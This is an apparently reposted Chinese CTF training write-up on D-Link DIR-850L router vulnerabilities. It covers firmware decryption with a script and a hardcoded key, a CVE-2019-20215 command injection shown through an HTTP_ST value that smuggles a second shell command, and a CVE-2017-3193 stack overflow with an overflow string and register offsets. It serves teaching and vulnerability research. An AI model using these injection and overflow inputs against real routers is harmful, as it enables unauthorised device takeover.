2022CTF培训(十)IOT 相关 CVE 漏洞分析

news2024/9/25 17:10:55

附件下载链接
这里选择的设备是一款家用路由器,型号为 D-Link DIR-850L(EOL) 。由于该款路由器已停产,官网无法下载到固件,不过目前这个网站还能下载到相关的固件,当然附件中也会提供需要分析的固件。

固件解密

以 DIR850LB1_FW207WWb05 为例,首先用 binwalk 分析,结果没有输出:

$ binwalk DIR850LB1_FW207WWb05.bin 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------

加上 -E 参数计算固件的熵:

$ binwalk -E DIR850LB1_FW207WWb05.bin 

DECIMAL       HEXADECIMAL     ENTROPY
--------------------------------------------------------------------------------
0             0x0             Rising entropy edge (0.995718)

在这里插入图片描述
固件的熵较高,说明数据分布随机,也就是说固件是加密的。
Pwning the Dlink 850L routers and abusing the MyDlink Cloud protocol 这篇文章提供的解密方法可以解密该版本的固件,解密脚本如下:

/*
 * Simple tool to decrypt D-LINK DIR-850L REVB firmwares
 *
 * $ gcc -o revbdec revbdec.c
 * $ ./revbdec DIR850L_REVB_FW207WWb05_h1ke_beta1.bin wrgac25_dlink.2013gui_dir850l > DIR850L_REVB_FW207WWb05_h1ke_beta1.decrypted
 */

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#define USAGE "Usage: decimg <filename> <key>\n"

int main(int argc, char **argv) {
    int i, fi;
    int fo = STDOUT_FILENO, fe = STDERR_FILENO;

    if (argc != 3) {
        write(fe, USAGE, strlen(USAGE));
        return (EXIT_FAILURE);
    }

    if ((fi = open(argv[1], O_RDONLY)) == -1) {
        perror("open");
        write(fe, USAGE, strlen(USAGE));
        return (EXIT_FAILURE);
    }

    const char *key = argv[2];
    int kl = strlen(key);

    i = 0;
    while (1) {
        char buffer[4096];
        int j, len;
        len = read(fi, buffer, 4096);
        if (len <= 0)
            break;
        for (j = 0; j < len; j++) {
            buffer[j] ^= (i + j) % 0xFB + 1;
            buffer[j] ^= key[(i + j) % kl];
        }
        write(fo, buffer, len);
        i += len;
    }

    return (EXIT_SUCCESS);
}

运行脚本解密后发现 binwork 可以成功识别出固件的文件系统。

$ ./revbdec DIR850LB1_FW207WWb05.bin wrgac25_dlink.2013gui_dir850l > DIR850LB1_FW207WWb05_decrypted.bin
$ binwalk DIR850LB1_FW207WWb05_decrypted.bin 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             DLOB firmware header, boot partition: "dev=/dev/mtdblock/1"
10380         0x288C          LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5184868 bytes
1704052       0x1A0074        PackImg section delimiter tag, little endian size: 10517760 bytes; big endian size: 8232960 bytes
1704084       0x1A0094        Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8231815 bytes, 2677 inodes, blocksize: 131072 bytes, created: 2016-03-29 04:08:14

然而该解密脚本无法解密 DIR850LB1_FW220WWb05 ,因为该版本加密方式已经发生改变。

虽然加密方式改变,有一点可以确定,即一定存在方法能够在知道上一个解密方式的前提下得到新的解密方式,否则固件无法通过升级改变加密方式。

V2.20 版本固件的升级日志如下,从中可以得知 V2.20 必须从 V2.10 升级,也就是说 V2.10 是改变加密方式的过度版本。

DIR-850L Firmware Release Notes
=================================

**Note: a factory reset is recommended after upgrading to ensure correct configuration is applied**


Hardware: B1
Firmware: V2.20
Date: 20/09/2017


NOTE:
THE FIRMWARE V2.10WWB03 NEEDS TO BE UPLOADED FIRST AS A TRANSITIONAL FIRMWARE V2.10, BEFORE UPGRADING TO V2.20WWB03.
Upgrade to Firmware V2.10 and then instantly go back into the web user interface and upgrade to Firmware V2.20

Problems Resolved:
1. Fixed the following security issues
- Firmware Protection
- WAN & LAN XSS exploit
- WAN - weak cloud control
- WAN & LAN - Stunnel Private Keys
- WAN & LAN - Nonce brute force for DNS configuration
- Local - WEak file permission and credentials stored in clear text
- Local - DoS attack against some daemons

binwalk 分析 DIR850LB1_FW210WWb03 发现固件没有加密,可以识别出其中的文件系统。

$ binwalk DIR850LB1_FW210WWb03.bin 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             DLOB firmware header, boot partition: "dev=/dev/mtdblock/1"
10380         0x288C          LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5213748 bytes
1704052       0x1A0074        PackImg section delimiter tag, little endian size: 13664256 bytes; big endian size: 8441856 bytes
1704084       0x1A0094        Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8441157 bytes, 2692 inodes, blocksize: 131072 bytes, created: 2017-09-18 12:11:33

binwalk -e 解压 210 和 207 两个版本的固件,从文件系统中 htdocs 文件夹下提取出 cgibin 。cgibin 程序主要负责对 http 请求进行处理与响应,包括固件升级等。使用 IDA 插件 BinDiff(注意 ida 数据库路径必须是全英文的)比较两个文件差别,发现 encrypt_main 函数变化较大且与固件加密有关。
在这里插入图片描述
其中 210 版本的 encrypt_main 函数如下:

int __fastcall encrypt_main(int a1, char *const *a2)
{
  int v2; // $a0
  int v3; // $v0
  const char *v4; // $a0
  int v5; // $v0
  int result; // $v0
  int v7; // [sp+18h] [-8h]

  while ( 2 )
  {
    v3 = getopt(a1, a2, "hvi:o:eds:");
    if ( v3 > 0 )
    {
      switch ( v3 )
      {
        case 'd':
          dword_43CE54 = 1;
          continue;
        case 'e':
          dword_43CE50 = 1;
          continue;
        case 'h':
          sub_408F8C();
          sub_408F20();
          v2 = 0;
          goto LABEL_15;
        case 'i':
          if ( file )
            free(file);
          file = strdup(optarg);
          continue;
        case 'o':
          if ( dword_43CE4C )
            free(dword_43CE4C);
          dword_43CE4C = strdup(optarg);
          continue;
        case 's':
          dword_43CE40 = (int)strdup(optarg);
          continue;
        case 'v':
          *(_DWORD *)algn_43CE44 = 1;
          continue;
        default:
          sub_408F8C();
          sub_408F20();
          v2 = 9;
LABEL_15:
          exit(v2);
          return result;
      }
    }
    break;
  }
  if ( !dword_43CE50 && !dword_43CE54 )
    dword_43CE50 = 1;
  if ( dword_43CE40 )
  {
    if ( file )
    {
      v5 = sub_4090E0((const char *)dword_43CE40);
      goto LABEL_25;
    }
    v4 = "no image file specified!\n";
  }
  else
  {
    v4 = "no signature specified!\n";
  }
  fputs(v4, stderr);
  sub_408F8C();
  v5 = 9;
LABEL_25:
  v7 = v5;
  sub_408F20();
  return v7;
}

可以看出,该函数首先通过 getopt 获取参数,然后根据参数决定相应才操作,最后调用的 sub_4090E0 函数可能是加解密固件的函数。进入 sub_4090E0 函数,发现大量与 AES 相关的函数名,因此可以确定该函数与加解密有关。
在这里插入图片描述
另外 h 参数可能是打印帮助信息,进入 sub_408F8C 函数发现确实有帮助信息。

int sub_408F8C()
{
  printf("Usage: %s {OPTIONS}\n", "encimg");
  puts("   -h                      : show this message.");
  puts("   -v                      : Verbose mode.");
  puts("   -i {input image file}   : input image file.");
  puts("   -e                      : encode file.");
  puts("   -d                      : decode file.");
  return puts("   -s                      : signature.");
}

在文件系统搜索 emcimg 发现确实有该文件,利用 qemu 模拟运行发现出错结果相同。

$ find . -name encimg
./usr/sbin/encimg
$ qemu-mips-static -L . ./usr/sbin/encimg -h
Usage: encimg {OPTIONS}
   -h                      : show this message.
   -v                      : Verbose mode.
   -i {input image file}   : input image file.
   -e                      : encode file.
   -d                      : decode file.
   -s                      : signature.

为了确定解密时需设置的参数,我们继续分析 encrypt_main 函数,发现调用该函数的 encode_file_check 函数完成了解密时参数的设置:

int __fastcall encode_file_check(char *a1, int a2)
{
  int v2; // $s4
  FILE *v5; // $v0
  FILE *v6; // $s1
  int v7; // $v0
  int v8; // $s1
  int v9; // $a1
  int result; // $v0
  char *v11; // [sp+18h] [-1Ch] BYREF
  const char *v12; // [sp+1Ch] [-18h]
  char *v13; // [sp+20h] [-14h]
  const char *v14; // [sp+24h] [-10h]
  char *v15; // [sp+28h] [-Ch]
  const char *v16; // [sp+2Ch] [-8h]

  v2 = -1;
  v5 = fopen("/etc/config/image_sign", "r");
  v6 = v5;
  if ( !v5 )
    return v2;
  if ( !fgets(byte_43CDB0, 128, v5) )
  {
    fclose(v6);
    return v2;
  }
  fclose(v6);
  cgibin_reatwhite(byte_43CDB0);
  v7 = sobj_new();
  v8 = v7;
  ptr = a1;
  if ( a2 )
  {
    v11 = "encimg";
    v12 = "-i";
    v14 = "-s";
    v13 = a1;
    v15 = byte_43CDB0;
    v16 = "-d";
    if ( encrypt_main(6, &v11) || (v2 = sub_406D20(v8, 1), v2 == -1) )
    {
      v2 = handle_realtek_fw(ptr, 0);
      if ( !v2 && strcmp(ptr, "/var/firmware.seama") )
        system("flash hw-move");
    }
  }
  else
  {
    v2 = sub_406A78(v7, a1);
    if ( v2 == -1 )
    {
      v13 = ptr;
      v11 = "encimg";
      v14 = "-s";
      v12 = "-i";
      v15 = byte_43CDB0;
      v16 = "-d";
      encrypt_main(6, &v11);
      v2 = sub_406A78(v8, ptr);
    }
  }
  result = v2;
  if ( v8 )
  {
    sobj_del(v8, v9);
    return v2;
  }
  return result;
}

根据该函数设置相应参数,发现固件成功解密:

$ cat ./etc/config/image_sign 
wrgac25_dlink.2013gui_dir850l
$ qemu-mips-static -L . ./usr/sbin/encimg -i ./DIR850LB1_FW220WWb03.bin -d -s wrgac25_dlink.2013gui_dir850l
The file length of ./DIR850LB1_FW220WWb03.bin is 10145968
$ binwalk DIR850LB1_FW220WWb03.bin 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             DLOB firmware header, boot partition: "dev=/dev/mtdblock/1"
10380         0x288C          LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5213748 bytes
1704052       0x1A0074        PackImg section delimiter tag, little endian size: 13664256 bytes; big endian size: 8441856 bytes
1704084       0x1A0094        Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8441027 bytes, 2692 inodes, blocksize: 131072 bytes, created: 2017-09-18 12:21:21

CVE-2019-20215

像 DIR-850L 这样的小型设备采用的是 httpd + cgibin 模式,即 httpd 负责“前端”请求处理,真正的“后端”处理由 cgibin 完成。两者之间通过环境变量通信。并且根据请求的不同,前端会根据请求类型调用相应的处理程序,cgibin 会根据传入的文件路径来决定调用哪个处理函数。

$ find . -type l |xargs ls -l | grep cgibin
lrwxrwxrwx 1 sky123 sky123 14 611  2015 ./htdocs/mydlink/form_login -> /htdocs/cgibin
lrwxrwxrwx 1 sky123 sky123 14 611  2015 ./htdocs/mydlink/form_logout -> /htdocs/cgibin
lrwxrwxrwx 1 sky123 sky123 14 611  2015 ./htdocs/upnp/ssdpcgi -> /htdocs/cgibin
lrwxrwxrwx 1 sky123 sky123 14 611  2015 ./htdocs/web/captcha.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 sky123 sky123 14 611  2015 ./htdocs/web/conntrack.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 sky123 sky123 14 611  2015 ./htdocs/web/dlapn.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 sky123 sky123 14 611  2015 ./htdocs/web/dlcfg.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 sky123 sky123 14 611  2015 ./htdocs/web/dldongle.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 sky123 sky123 14 611  2015 ./htdocs/web/fwup.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 sky123 sky123 14 611  2015 ./htdocs/web/fwupload.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 sky123 sky123 14 611  2015 ./htdocs/web/hedwig.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 sky123 sky123 14 611  2015 ./htdocs/web/pigwidgeon.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 sky123 sky123 14 611  2015 ./htdocs/web/seama.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 sky123 sky123 14 611  2015 ./htdocs/web/service.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 sky123 sky123 14 611  2015 ./htdocs/web/webfa_authentication.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 sky123 sky123 14 611  2015 ./htdocs/web/webfa_authentication_logout.cgi -> /htdocs/cgibin
lrwxrwxrwx 1 sky123 sky123 14 611  2015 ./usr/sbin/authcgi -> /htdocs/cgibin
lrwxrwxrwx 1 sky123 sky123 14 611  2015 ./usr/sbin/fwupdater -> /htdocs/cgibin
lrwxrwxrwx 1 sky123 sky123 14 611  2015 ./usr/sbin/hnap -> /htdocs/cgibin
lrwxrwxrwx 1 sky123 sky123 14 611  2015 ./usr/sbin/phpcgi -> /htdocs/cgibin
lrwxrwxrwx 1 sky123 sky123 14 611  2015 ./usr/sbin/scandir.sgi -> /htdocs/cgibin
lrwxrwxrwx 1 sky123 sky123 14 611  2015 ./usr/sbin/wfanotify -> /htdocs/cgibin

在这里插入图片描述
在这里插入图片描述

漏洞存在于 cgibin 的 ssdpcgi_main 函数中。

首先发现从不同位置跳转到 LABEL_17 处时 lxmldbc_system 函数传入的格式化字符串所需参数数量不同,因此怀疑 IDA 识别错误,将两个不同位置的函数调用合并在一起了。
在这里插入图片描述
通过修改函数参数个数发现,实际上有 2 个位置调用 lxmldbc_system 函数,程序根据参数个数跳转到对应的位置调用 lxmldbc_system 。
在这里插入图片描述
对于 ssdpcgi_main 函数,我们只需要关心能够跳转到 LABEL_18 的程序执行流程,因为 LABEL_18 处的 lxmldbc_system 函数调用会将 v2 也就是 HTTP_ST作为参数传入,而 v2 实际是环境变量 HTTP_ST 的值,是我们可控的。

int __fastcall ssdpcgi_main(int a1)
{
  ...
  result = -1;
  if ( a1 == 2 )
  {
    v2 = getenv("HTTP_ST");
    v3 = getenv("REMOTE_ADDR");
    v19 = getenv("REMOTE_PORT");
    v4 = getenv("SERVER_ID");
    v5 = v4;
    if ( v2 && v3 && v19 && v4 )
    {
      ...
      v11 = strncmp(v2, "uuid:", 5u);
      v12 = v19;
      if ( !v11 )
      {
        v13 = v3;
        v14 = "%s uuid %s:%s %s %s &";
LABEL_18:
        lxmldbc_system(v14, "/etc/scripts/upnp/M-SEARCH.sh", v13, v12, v5, v2);
        return 0;
      }
      v15 = strncmp(v2, "urn:", 4u) != 0;
      result = 0;
      if ( v15 )
        return result;
      v16 = strstr(v2, ":device:");
      v12 = v19;
      if ( v16 )
      {
        v13 = v3;
        v14 = "%s devices %s:%s %s %s &";
        goto LABEL_18;
      }
      v17 = strstr(v2, ":service:");
      v12 = v19;
      if ( v17 )
      {
        v13 = v3;
        v14 = "%s services %s:%s %s %s &";
        goto LABEL_18;
      }
      return 0;
    }
    else
    {
      return -1;
    }
  }
  return result;
}

而 lxmldbc_system 的作用实际上是将参数拼接起来调用 system 函数执行。

int __fastcall lxmldbc_system(const char *a1, int a2, int a3, int a4, int a5, int a6)
{
  char v7[1028]; // [sp+1Ch] [-404h] BYREF
  int v8; // [sp+42Ch] [+Ch] BYREF
  int v9; // [sp+430h] [+10h]
  int v10; // [sp+434h] [+14h]

  v8 = a2;
  v9 = a3;
  v10 = a4;
  vsnprintf(v7, 0x400u, a1, &v8);
  return system(v7);
}

因此只需要通过设置环境变量使得最终调用 system 执行 HTTP_ST 对应的命令即可触发漏洞。

这里仅考虑对 cgibin 进行模拟。在解压的文件系统的根目录下运行如下 shell 脚本,并用 gdb 附加在 system 函数处下断点。

# 固件的文件系统根目录
FIRMWARE_PATH=$(pwd)
# 因为 cgibin 会根据 argv[0] 选择处理函数,因此使用 /htdocs/upnp/ssdpcgi 而不是 cgibin 作为可执行文件名
BINARY="/htdocs/upnp/ssdpcgi"
# binfmt 机制
cp $(which qemu-mips-static) ${FIRMWARE_PATH}/usr/bin/qemu-mips-static
# qemu 模拟运行的同时将 chroot 将根目录改为 FIRMWARE_PATH
sudo chroot ${FIRMWARE_PATH} qemu-mips-static\
  -g 1234 \
  -E REMOTE_ADDR="1.2.3.4" \
  -E REMOTE_PORT="123" \
  -E HTTP_ST="uuid:;touch cq.txt" \
  -E SERVER_ID="sky123" \
  ${BINARY} "sky123" # 满足参数个数的校验

其中 cp $(which qemu-mips-static) ${FIRMWARE_PATH}/usr/bin/qemu-mips-static 的原因是因为 binfmt 机制,需要在固件的文件系统对应位置放一个 qemu-mips-static 。

$ cat /proc/sys/fs/binfmt_misc/qemu-mips
enabled
interpreter /usr/bin/qemu-mips-static
flags: OCF
offset 0
magic 7f454c46010201000000000000000000000200080000000000000000000000000000000000000000
mask ffffffffffffff00fefffffffffffffffffeffff0000000000000000000000000000000000000020

system 传入的参数和预期相同。
在这里插入图片描述
继续运行,发现根目录下多了一个 cq.txt 文件,说明命令被成功执行。
在这里插入图片描述

CVE-2017-3193

漏洞位于 cgibin 中的 hnap_main 函数中,是一个简单的栈溢出漏洞:
在这里插入图片描述
由于函数较为复杂,想要完整分析比较困难,因此可以尝试改变输入内容观察是否能够运行到漏洞点和函数返回。

首先对函数粗略分析如下:

  • 可以看到前面有对 v7 的校验,也就说要想执行到漏洞点, HTTP_COOKIE 必须包含 uid= 前缀。
  • strcat 函数拼接的两个字符串是 v6 用空格分割后第 2 个字符串和 v4,这两个字符串对应的是 HTTP_HNAP_AUTH 的后半部分和 HTTP_SOAPACTION 。
  • v5 即 REQUEST_METHOD 不确定,暂且设为 POST

根据分析写出如下运行脚本:

FIRMWARE_PATH=$(pwd)
BINARY="/usr/sbin/hnap"
cp $(which qemu-mips-static) ${FIRMWARE_PATH}/usr/bin/qemu-mips-static

sudo chroot ${FIRMWARE_PATH} qemu-mips-static \
  -g 1234 \
  -E REQUEST_METHOD="POST" \
  -E HTTP_HNAP_AUTH="123 456" \
  -E HTTP_COOKIE="uid=a1b2c3d4e5" \
  -E HTTP_SOAPACTION="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb" \
  ${BINARY}

运行脚本并且 gdb 附加后在函数返回处下断点,发现返回值被修改,除此之外还可以控制 $s0~$s7 寄存器。
在这里插入图片描述
相应的偏移可以从汇编中得出:

.text:0041519C 8F BF 0D 54                   lw      $ra, 0xD54($sp)
.text:004151A0 8F B7 0D 50                   lw      $s7, 0xD50($sp)
.text:004151A4 8F B6 0D 4C                   lw      $s6, 0xD4C($sp)
.text:004151A8 8F B5 0D 48                   lw      $s5, 0xD48($sp)
.text:004151AC 8F B4 0D 44                   lw      $s4, 0xD44($sp)
.text:004151B0 8F B3 0D 40                   lw      $s3, 0xD40($sp)
.text:004151B4 8F B2 0D 3C                   lw      $s2, 0xD3C($sp)
.text:004151B8 8F B1 0D 38                   lw      $s1, 0xD38($sp)
.text:004151BC 8F B0 0D 34                   lw      $s0, 0xD34($sp)
.text:004151C0 03 E0 00 08                   jr      $ra
.text:004151C4 27 BD 0D 58                   addiu   $sp, 0xD58

之后的利用可以借鉴 DVRF stack_bof_02 的思路。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/131401.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

归一化 (Normalization)、标准化 (Standardization)和中心化/零均值化 (Zero-centered)

目录 一、概念 1、归一化&#xff08;Normalization&#xff09;&#xff1a; 2、标准化&#xff08;Standardization&#xff09;&#xff1a; 3、中心化/零均值化&#xff08;zero-centered&#xff09;&#xff1a; 二、联系和差异&#xff1a; 三、标准化和归一化的多种…

Faster RCNN网络源码解读(Ⅵ) --- RPN网络代码解析(上)RPNHead类与AnchorsGenerator类解析

目录 一、代码作用&#xff08;rpn_function.py&#xff09; 二、代码解析 2.1 RPNHead类 2.2 AnchorsGenerator类 2.2.1 初始化函数__init__ 2.2.2 正向传播过程 forward 2.2.3 set_cell_anchors生成anchors模板 2.2.4 generate_anchors生成anchors 2.2.5 cached_g…

【Linux】vim 中批量添加注释

本期主题&#xff1a;vim 中批量添加注释博客主页&#xff1a;小峰同学分享小编的在Linux中学习到的知识和遇到的问题小编的能力有限&#xff0c;出现错误希望大家不吝赐 此文主要介绍两种方法&#xff1a;方法一 &#xff1a;块选择模式&#xff1b;方法二: 替换命令 &#x…

Java基础随手记

数组 数组的使用 数组可以存放多个同一类型的数据&#xff0c;数组也是一种数据类型&#xff0c;是引用类型。即&#xff1a;数组就是一组数据 问题引入 传统的解决方式 使用数组来解决 可以看到&#xff0c;我们创建了一个double类型元素的数组&#xff0c;将我们要计算…

buuctf-misc-[GKCTF 2021]你知道apng吗1

先下载附件&#xff0c;快要过年了&#xff0c;十二月份还没发过文章&#xff0c;紧急写一篇。 下载文件后缀名为apng 搜索一下APNG&#xff08;基于PNG的位图动画格式&#xff09;_百度百科 利用火狐浏览器可以打开 类似gif图片的格式&#xff0c;用专门工具进行拆解&#xf…

MySQL内部的核心组件

mysql前言 1.MySQL的驱动 2.数据库的连接池 3.MySQL的工作线程 4.SQL接口 5.SQL解析器 6.查询优化器 7.执行器组件 8.存储引擎接口 1.MySQL的驱动是做什么的&#xff1f; 尤其记得刚刚学习MySQL的时候&#xff0c;引入的pom坐标&#xff1a;mysql-connector-java&#xff0c;这…

软考- 计算机组成原理与体系结构

【考点梳理】 考点1、数据的表示&#xff08;★★★★&#xff09; 考点1.1、进制的转换 【考法分析】 本考点的基本考法是与内存地址计算、IP地址计算结合考查。 【要点分析】 1、十进制转R进制&#xff08;短除法&#xff09;&#xff1b; 2、R进制转十进制&#xff0…

Arduino与Proteus仿真实例-WS2812实现音乐氛围灯仿真

WS2812实现音乐氛围灯仿真 本文将使用WS2812实现一个音乐氛围灯。Arduino通过检测音频信号强度,然后转换成W2812灯带驱动信号,从而实现音乐氛围灯。 WS2812的驱动和使用在前面的文章中作了详细的介绍,请参考: Arduino与Proteus仿真实例-WS2812-RGB-LED灯带酷炫效果仿真Ar…

【软件质量】软件质量分析总结报告

软件质量-----“软件与明确地和隐含地定义的需求相一致的程度” 一、质量的概念 Ⅰ、传统的质量概念:产品性能是否符合技术规范 Ⅱ、质量是一组固有特性满足要求的程度 Ⅲ、适用性质量 Ⅳ、质量不仅指产品质量&#xff0c;也指过程和体系的质量 二、软件质量 Ⅰ、产品质…

教你如何用一行Python代码实现GUI图形界面

文章目录一、选择文件夹二、选择文件三、选择日期四、输入文本五、弹窗无按钮六、弹窗无标题七、弹窗只有OK按钮八、弹窗只有Error按钮(红色)九、显示通知窗口十、弹窗选择十一、自定义弹窗实战一、选择文件夹 首先导入PySimpleGUI库&#xff0c;并且用缩写sg来表示。 import…

Kubernetes 笔记(02)— 基本架构、工作机制简述、Master 组件、Node 组件

1. Kubernetes 的基本架构 Kubernetes 采用了现今流行的“控制面 / 数据面”&#xff08;Control Plane / Data Plane&#xff09;架构&#xff0c;集群里的计算机被称为“节点”&#xff08;Node&#xff09;&#xff0c;可以是实机也可以是虚机&#xff0c;少量的节点用作控制…

【CUDA入门笔记】GPU存储结构模型(2)

GPU存储结构模型 1.CPU可以读写GPU设备中的Global Memory、Constant Memory以及Texture Memory内存储的内容&#xff1b;主机代码可以把数据传输到设备上&#xff0c;也可以从设备中读取数据&#xff1b; 2.GPU中的线程使用Register、Shared Memory、Local Memory、Global Me…

python网络程序设计,TCP协议客户端服务端智能聊天设计

计算机网络基础知识 网络体系结构&#xff0c;分层设计的好处 网络协议三要素&#xff1a;语法、语义、时序 常见应用层协议&#xff1a;ftp、http、smtp、pop3、telnet…… 传输层主要概念&#xff1a;TCP、UDP、端口号 IP地址 MAC地址 计算机网络基础知识 IP地址 1.IP地址 …

内核RCU的一次实践——实战中加深了理解

遍历内核链表是个常规操作&#xff0c;遍历链表过程可能会向链表增加新成员或者从链表剔除老成员&#xff0c;因此遍历链表时一般需要spin lock加锁保护。如果向链表增加新成员或者从链表剔除老成员不经常出现&#xff0c;大部分只是遍历查询链表中成员&#xff0c;此时链表遍…

Spring Cloud:eureka注册中心

在传统的单体应用中&#xff0c;所有的业务都集中在一个服务器中&#xff0c;当浏览器发起请求时&#xff0c;通过前端请求调用后端接口&#xff0c;后端接口调用相应的业务并在前端进行响应&#xff0c;整个的调用就是从请求到响应的一条龙服务。所以不存在服务之间的中转&…

jetson nano GPIO引脚控制舵机

文章目录一.舵机介绍二.舵机工作原理180度舵机360度舵机三.利用jetson nano GPIO控制舵机1.jetson nano与舵机接2.c编写程序输出脉冲(Qt做界面)一.舵机介绍 舵机&#xff0c;是指在自动驾驶仪中操纵飞机舵面&#xff08;操纵面&#xff09;转动的一种执行部件。分有&#xff1a…

代码随想录算法训练营第十三天(栈与队列)| 239. 滑动窗口最大值,347.前 K 个高频元素

代码随想录算法训练营第十三天&#xff08;栈与队列&#xff09;| 239. 滑动窗口最大值&#xff0c;347.前 K 个高频元素 239. 滑动窗口最大值 之前讲的都是栈的应用&#xff0c;这次该是队列的应用了。 本题算比较有难度的&#xff0c;需要自己去构造单调队列&#xff0c;建…

std::map使用方式以及注意事项(关于相同key的问题)

std::map的使用在C开发中也是经常会用到的一些东西&#xff0c;这里进行一些简单的使用记录&#xff0c;包括如何插入、删除以及修改等。 1、std::map插入&#xff1a; map的插入使用的是insert的方式&#xff0c;一个map包含了key与value两个值。首先需要对两个值进行赋值&a…

Spring Security认证授权练手小项目 腾讯视频VIP权限管理功能

腾讯视频VIP权限管理1、项目功能视频演示2、需求与设计1、需求2、功能概要3、接口设计3、项目源码结构4、项目源码下载5、项目部署1、部署架构2、数据库环境准备3、redis环境准备4、Spring Boot服务准备5、nginx负载均衡准备6、nginx静态资源服务器准备6、项目介绍1、技术架构2…

人工智能-集成学习

1、 集成学习算法介绍 1.1 什么是集成学习 集成学习通过建立几个模型来解决单一预测问题。工作原理&#xff1a;生成多个分类器/模型&#xff0c;各自独立地学习和做出预测。这些预测再结合成组合预测&#xff0c;因此由于任何一个单分类的预测。 1.2 机器学习的两个核心任…